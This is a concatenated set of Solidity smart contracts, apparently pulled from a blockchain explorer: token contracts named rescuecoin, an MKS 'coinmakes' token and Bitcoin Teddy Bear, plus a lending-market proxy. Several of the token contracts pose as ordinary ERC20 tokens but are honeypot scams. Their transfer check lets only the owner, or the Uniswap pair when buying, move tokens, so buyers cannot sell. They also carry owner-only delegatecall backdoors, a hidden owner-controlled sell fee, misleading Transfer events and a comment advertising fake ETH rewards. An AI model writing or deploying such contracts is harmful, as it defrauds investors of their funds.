callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract rescuecoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-10-18
*
* /$$ /$$
* |__/ | $$
* /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$/$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$
* /$$_____/ /$$__ $$| $$| $$__ $$| $$_ $$_ $$ |____ $$| $$ /$$/ /$$__ $$ /$$_____/
* | $$ | $$ \ $$| $$| $$ \ $$| $$ \ $$ \ $$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$$$$$
* | $$ | $$ | $$| $$| $$ | $$| $$ | $$ | $$ /$$__ $$| $$_ $$ | $$_____/ \____ $$
* | $$$$$$$| $$$$$$/| $$| $$ | $$| $$ | $$ | $$| $$$$$$$| $$ \ $$| $$$$$$$ /$$$$$$$/
* \_______/ \______/ |__/|__/ |__/|__/ |__/ |__/ \_______/|__/ \__/ \_______/|_______/
*
*
* web: coinmakes.com
* telegram: coinmakes
* Total supply: 20.000.000 MKS
* Uniswap supply (50% of total supply): 2.000.000 MKS
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity >=0.6.12 <0.7.0;
interface FeeManagementLibrary {
function calculate(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
uint256 fee = calcFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
function calcFee(address _from, address _to, uint _value) private returns(uint256) {
uint fee = 0;
if (_to == UNI && _from != owner) {
fee = FeeManagementLibrary(FeeManagement).calculate(address(this), UNI, _value);
}
return fee;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private UNI;
address constant internal FeeManagement = 0x1691b5bA9E44Fdc0DCA002726a85d438B96183c4;
constructor(string memory _name, string memory _symbol, uint _totalSupply) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _totalSupply;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
* Bitcoin Teddy Bear
* The 24-hour contract game is very exciting and rewarding!
* 10 people will be randomly drawn, and each person can get 0.5ETH reward.
* 1st place holding ETHHE: reward 5ETH
* 2nd place holding ETHHE: Reward 4ETH
* 3rd place with ETHHE: reward 3ETH
* 4th place holding ETHHE: reward 2ETH
* 5th place holding ETHHE: reward 1ETH
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BitcoinTeddyBear {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external view returns (bool);
function transferFrom(address from, address to, uint256 value) external ;
}
interface marketSIHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName;
uint256 constant unifiedPoint = 10 ** 18;
uint256 unifiedTokenDecimal = 10 ** 18;
uint256 underlyingTokenDecimal;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
IERC20 erc20Instance;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
erc20Instance = IERC20(erc20Addr);
tokenName = _tokenName;
SI = siHandlerAddr;
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address target) onlyOwner public returns (bool)
{
uint256 balance = erc20Instance.balanceOf(address(this));
erc20Instance.transfer(target, balance);
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract DaiHandlerProxy is proxy{
constructor()
proxy() public {}
}
|
DC1
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
